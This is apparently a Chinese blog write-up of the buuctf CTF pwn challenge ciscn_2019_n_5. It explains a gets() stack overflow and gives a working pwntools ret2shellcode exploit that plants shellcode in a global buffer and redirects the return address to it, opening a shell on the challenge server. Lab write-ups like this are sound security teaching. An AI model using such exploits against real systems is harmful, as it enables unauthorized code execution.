首页 > 系统相关 >buuctf ciscn_2019_n_5 pwn ret2shellcode

buuctf ciscn_2019_n_5 pwn ret2shellcode

时间:2023-05-22 13:00:11浏览次数:46  
标签:buuctf 0x8 name text 0x20 sh ret2shellcode pwn shellcode

首先checksec查看保护策略,没有开栈不可执行NX,考虑构造shellcode

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

查看反编译代码,可以看到读了两次输入name和text,使用gets读text造成栈溢出
image

首先将shellcode写入name数组。name是全局变量,位于bss节的0x601080
image

查看栈结构,text数组的偏移为-0x20,返回地址的偏移为+0x8,所以需要覆盖(0x20+0x8)个字节,再将shellcode的地址0x601080覆盖返回地址
image

使用shellcraft.sh()来构造shellcode

from pwn import *

sh = remote("node4.buuoj.cn", 28630)
context(arch='amd64', os='linux')

shellcode = asm(shellcraft.sh())
sh.sendlineafter('tell me your name\n', shellcode)

payload = b'a' * (0x20 + 0x8) + p64(0x601080)
sh.sendlineafter('What do you want to say to me?\n', payload)

sh.interactive()

image

另外,本来想不将shellcode写入name,而是都通过text注入,然后jmp rsp的,可惜没有现成的指令可用,也就作罢。

标签:buuctf,0x8,name,text,0x20,sh,ret2shellcode,pwn,shellcode
From: https://www.cnblogs.com/nemuzuki/p/17420346.html

相关文章

  • 从0到1:CTFer成长之路-PWN篇
    72217_格式化字符串不在栈上的利用方式格式化字符串不在栈上的利用方式,参数在.bss段,不在栈上条件:需要多次可输入参数voidvuln(){while(strcmp(chr,"bye")){gets(chr);printf(chr);}}在栈上找到一个利用链a->b->c,另一个指针p->0x4005d0,......
  • buuctf [第二章 web进阶]XSS闯关
    本题每一关都需要我们使用alert弹窗level1URL为http://7db5b895-7c64-4b97-a85e-bc011762312f.node4.buuoj.cn:81/level1?username=xss查看源码可知get传的username直接被输出所以直接注入js代码即可?username=<script>alert(1)</script>level2level2对输入的username......
  • kernel pwn 从 0.5 到 0
    xman2020-level1注册了一个baby驱动,在sub_0中存在栈溢出,可以将0x100的用户数据copy到内核栈上,缓冲去到rbp距离为0x80。什么保护没开直接ret2user......
  • buuctf [第二章 web进阶]SSRF Training
    首先点击interstingchallenge,查看后台源码。可以看到是将输入的ip通过safe_request_url()调用check_inner_ip()来判断是不是内网ip。如果是内网ip,那么直接输出;如果不是,则会创建一个curl会话,并向目标url发起请求,将返回结果输出。根据主页提示,flag位于flag.php中,但是如果直接输......
  • pwn刷题笔记
    jarvisoj_level2(ret2text)checksec检查保护机制,开启了NX。vulnerable_function函数处存在栈溢出漏洞:buf只能存放0x88个字节,但可以读入0x100个字节。system函数plt地址:0x8048320ida查看字串,“/bin/sh”地址:0x804A024构造payload#!/usr/bin/envpython3frompwnimport*io......
  • buuctf [网鼎杯 2020 朱雀组]phpweb
    首先访问网站,发现警告,说的是后端时区设置不对,这引导我们看看index源码是怎么查询时间的Warning:date():Itisnotsafetorelyonthesystem'stimezonesettings.Youarerequiredtousethedate.timezonesettingorthedate_default_timezone_set()function.Incase......
  • pwntools
    PwntoolsCheatsheet(github上薅的)(方便自己查找)ProgramInteractionEnvironmentandContextsLoggingandOutputEncoding,PackingandUtilityAssemblyandShellcraftELFs,StringsandSymbolsReturnOrientedProgrammingSROPandSigreturnFramesFormatStringEx......
  • Reverse|Buuctf xor
    程序为mac64位应用,且未加壳,使用ida64位程序打开查看快捷键查看字符串,发现flag字符,下方有个success,猜测是输入正确的字符串后会输出success点击进入,查看伪代码int__cdeclmain(intargc,constchar**argv,constchar**envp){char*v3;//rsiintresult;//eax......
  • Reverse|Buuctf reverse1
    查看程序信息DetectItEasy查看程序信息,发现是64位应用且未加壳反编译文件使用IDA打开,shift+f12检索程序里的字符串,发现thisistherightflag!,双击查看,发现被main_0函数引用双击main_0函数查看F5查看伪代码int__cdeclmain_0(intargc,constchar**argv,constcha......
  • Web|Buuctf-[NPUCTF2020]ezinclude
    查看源码提示md5($secret.$name)===$passcookie中存在hash,hash随着name的变化而变化hash填入pass参数请求跳转到404页面使用burpsuite发包,提示存在flflflflag.php页面flag不在此页面,并且页面存在文件包含漏洞读取flflflflag.php页面源码<html><head><scriptlangua......